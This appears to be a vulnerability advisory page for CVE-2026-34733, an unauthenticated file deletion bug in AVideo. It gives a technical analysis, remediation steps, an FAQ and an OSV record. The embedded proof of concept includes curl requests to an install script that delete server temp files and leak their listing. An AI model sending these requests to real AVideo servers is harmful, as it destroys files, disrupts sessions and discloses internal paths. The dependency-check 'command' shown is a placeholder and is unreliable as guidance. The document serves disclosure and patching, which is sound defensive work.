CVE-2026-34733: AVideo Unauthenticated File Deletion Vulnerability

MODERATE
Advisory Identifier: GHSA-wwpw-hrx8-79r5
CVSS 6.5
CWE-284
Published
Advisory Summary

CVE-2026-34733 is a MODERATE (CVSS 6.5) unauthenticated file deletion vulnerability (CWE-284: Improper Access Control) affecting AVideo libraries in the Packagist ecosystem. The issue involves unauthenticated file deletion via php operator precedence bug in cli guard. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34733 at a Glance

CVE Identifier CVE-2026-34733
GHSA Identifier GHSA-wwpw-hrx8-79r5
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-284: Improper Access Control
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-34733

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34733, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The AVideo installation script `install/deleteSystemdPrivate.php` contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition `!php_sapi_name() === 'cli'` never evaluates to true due to how PHP resolves operator precedence. The `!` (logical NOT) operator binds more tightly than `===` (strict comparison), causing the expression to always evaluate to `false`, which means the `die()` statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response. ## Details The faulty guard is at lines 2-4 of the script: ```php // install/deleteSystemdPrivate.php:2-4 if (!php_sapi_name() === 'cli') { die('Command Line only'); } ``` Due to PHP operator precedence, this expression is parsed as: ```php if ((!php_sapi_name()) === 'cli') { ``` Step-by-step evaluation when accessed via HTTP (Apache/nginx with mod_php or php-fpm): 1. `php_sapi_name()` returns `"apache2handler"` (or `"fpm-fcgi"`, etc.) - a non-empty string 2. `!php_sapi_name()` applies logical NOT to a truthy string, yielding `false` 3. `false === 'cli'` is a strict comparison between a boolean and a string, which is always `false` 4. The `if` body (`die()`) is never entered The correct code should be: ```php if (php_sapi_name() !== 'cli') { die('Command Line only'); } ``` After the bypassed guard, the script enumerates and deletes aged files from the system temp directory: ```php $glob = glob(sys_get_temp_dir() . "/*"); // ... foreach ($glob as $file) { if (filemtime($file) < $one_day_ago) { unlink($file); // Deletes the file } } ``` The script also outputs the total number of items found and details about processed files, leaking information about the temp directory contents. Confirmed on a live instance: an unauthenticated HTTP GET request returned HTTP 200 with the response body including "Found total of 91 items", confirming the guard bypass and information disclosure. ## Proof of Concept **Step 1:** Verify the endpoint is accessible without authentication: ```bash curl -v "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" ``` Expected response (HTTP 200): ``` Found total of 91 items Processing /tmp/phpXXXXXX ... Deleted: /tmp/old_session_file ... ``` If the guard were working correctly, the response would be: ``` Command Line only ``` **Step 2:** Demonstrate the PHP operator precedence bug locally: ```php <?php // Simulates the bug $sapi = 'apache2handler'; // non-CLI SAPI // Buggy check (as written in deleteSystemdPrivate.php) var_dump(!$sapi === 'cli'); // Output: bool(false) - guard never triggers // Correct check var_dump($sapi !== 'cli'); // Output: bool(true) - guard would trigger correctly ?> ``` **Step 3:** Monitor the effect by checking before and after: ```bash # Check initial state curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 # Output: "Found total of 91 items" # Wait and check again - files older than 24 hours will have been deleted curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 # Output: "Found total of 47 items" (fewer items after deletion) ``` ## Impact An unauthenticated attacker can trigger deletion of files in the server's system temp directory by simply sending an HTTP request to this endpoint. The impact includes: - **File deletion**: Any files in the temp directory older than 24 hours are deleted. This can disrupt server operations by removing PHP session files, upload temp files, cache files, or files used by other applications sharing the same temp directory. - **Information disclosure**: The script's output reveals the full path of the temp directory and enumerates its contents, including file names and counts. This can expose internal server paths, session file names, and the presence of other applications. - **Denial of service**: Repeated requests can be used to continuously purge temp files, interfering with file uploads, session management, and other temp-dependent operations. The root cause is a common PHP pitfall where the logical NOT operator (`!`) has higher precedence than strict comparison (`===`), causing the intended CLI-only guard to be completely ineffective. - **CWE-284**: Improper Access Control - **Severity**: Medium ## Recommended Fix Fix the operator precedence bug at `install/deleteSystemdPrivate.php:2` by replacing the negation with the `!==` operator: ```php // install/deleteSystemdPrivate.php:2 // Before (broken - always evaluates to false): if (!php_sapi_name() === 'cli') { // After (correct): if (php_sapi_name() !== 'cli') { ``` --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-34733 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-34733?
CVE-2026-34733 is a security vulnerability in AVideo involving Unauthenticated File Deletion via PHP Operator Precedence Bug in CLI Guard under CWE-284: Improper Access Control.
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-34733?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34733?
CVE-2026-34733 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L.
What CWE is associated with CVE-2026-34733?
CVE-2026-34733 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-34733?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wwpw-hrx8-79r5",
  "modified" : "2026-04-01T21:06:34Z",
  "published" : "2026-04-01T21:06:34Z",
  "aliases" : [ "CVE-2026-34733" ],
  "summary" : "AVideo: Unauthenticated File Deletion via PHP Operator Precedence Bug in CLI Guard",
  "details" : "## Summary\n\nThe AVideo installation script `install/deleteSystemdPrivate.php` contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition `!php_sapi_name() === 'cli'` never evaluates to true due to how PHP resolves operator precedence. The `!` (logical NOT) operator binds more tightly than `===` (strict comparison), causing the expression to always evaluate to `false`, which means the `die()` statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response.\n\n## Details\n\nThe faulty guard is at lines 2-4 of the script:\n\n```php\n// install/deleteSystemdPrivate.php:2-4\nif (!php_sapi_name() === 'cli') {\n    die('Command Line only');\n}\n```\n\nDue to PHP operator precedence, this expression is parsed as:\n\n```php\nif ((!php_sapi_name()) === 'cli') {\n```\n\nStep-by-step evaluation when accessed via HTTP (Apache/nginx with mod_php or php-fpm):\n\n1. `php_sapi_name()` returns `\"apache2handler\"` (or `\"fpm-fcgi\"`, etc.) - a non-empty string\n2. `!php_sapi_name()` applies logical NOT to a truthy string, yielding `false`\n3. `false === 'cli'` is a strict comparison between a boolean and a string, which is always `false`\n4. The `if` body (`die()`) is never entered\n\nThe correct code should be:\n\n```php\nif (php_sapi_name() !== 'cli') {\n    die('Command Line only');\n}\n```\n\nAfter the bypassed guard, the script enumerates and deletes aged files from the system temp directory:\n\n```php\n$glob = glob(sys_get_temp_dir() . \"/*\");\n// ...\nforeach ($glob as $file) {\n    if (filemtime($file) < $one_day_ago) {\n        unlink($file);  // Deletes the file\n    }\n}\n```\n\nThe script also outputs the total number of items found and details about processed files, leaking information about the temp directory contents.\n\nConfirmed on a live instance: an unauthenticated HTTP GET request returned HTTP 200 with the response body including \"Found total of 91 items\", confirming the guard bypass and information disclosure.\n\n## Proof of Concept\n\n**Step 1:** Verify the endpoint is accessible without authentication:\n\n```bash\ncurl -v \"https://your-avideo-instance.com/install/deleteSystemdPrivate.php\"\n```\n\nExpected response (HTTP 200):\n\n```\nFound total of 91 items\nProcessing /tmp/phpXXXXXX ...\nDeleted: /tmp/old_session_file ...\n```\n\nIf the guard were working correctly, the response would be:\n\n```\nCommand Line only\n```\n\n**Step 2:** Demonstrate the PHP operator precedence bug locally:\n\n```php\n<?php\n// Simulates the bug\n$sapi = 'apache2handler'; // non-CLI SAPI\n\n// Buggy check (as written in deleteSystemdPrivate.php)\nvar_dump(!$sapi === 'cli');\n// Output: bool(false) - guard never triggers\n\n// Correct check\nvar_dump($sapi !== 'cli');\n// Output: bool(true) - guard would trigger correctly\n?>\n```\n\n**Step 3:** Monitor the effect by checking before and after:\n\n```bash\n# Check initial state\ncurl -s \"https://your-avideo-instance.com/install/deleteSystemdPrivate.php\" | head -1\n# Output: \"Found total of 91 items\"\n\n# Wait and check again - files older than 24 hours will have been deleted\ncurl -s \"https://your-avideo-instance.com/install/deleteSystemdPrivate.php\" | head -1\n# Output: \"Found total of 47 items\" (fewer items after deletion)\n```\n\n## Impact\n\nAn unauthenticated attacker can trigger deletion of files in the server's system temp directory by simply sending an HTTP request to this endpoint. The impact includes:\n\n- **File deletion**: Any files in the temp directory older than 24 hours are deleted. This can disrupt server operations by removing PHP session files, upload temp files, cache files, or files used by other applications sharing the same temp directory.\n- **Information disclosure**: The script's output reveals the full path of the temp directory and enumerates its contents, including file names and counts. This can expose internal server paths, session file names, and the presence of other applications.\n- **Denial of service**: Repeated requests can be used to continuously purge temp files, interfering with file uploads, session management, and other temp-dependent operations.\n\nThe root cause is a common PHP pitfall where the logical NOT operator (`!`) has higher precedence than strict comparison (`===`), causing the intended CLI-only guard to be completely ineffective.\n\n- **CWE-284**: Improper Access Control\n- **Severity**: Medium\n\n## Recommended Fix\n\nFix the operator precedence bug at `install/deleteSystemdPrivate.php:2` by replacing the negation with the `!==` operator:\n\n```php\n// install/deleteSystemdPrivate.php:2\n// Before (broken - always evaluates to false):\nif (!php_sapi_name() === 'cli') {\n\n// After (correct):\nif (php_sapi_name() !== 'cli') {\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-wwpw-hrx8-79r5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34733"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/355e8c70806694b3bf8605d75e1bd1c695cd95e7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:06:34Z",
    "nvd_published_at" : "2026-03-31T21:16:32Z"
  }
}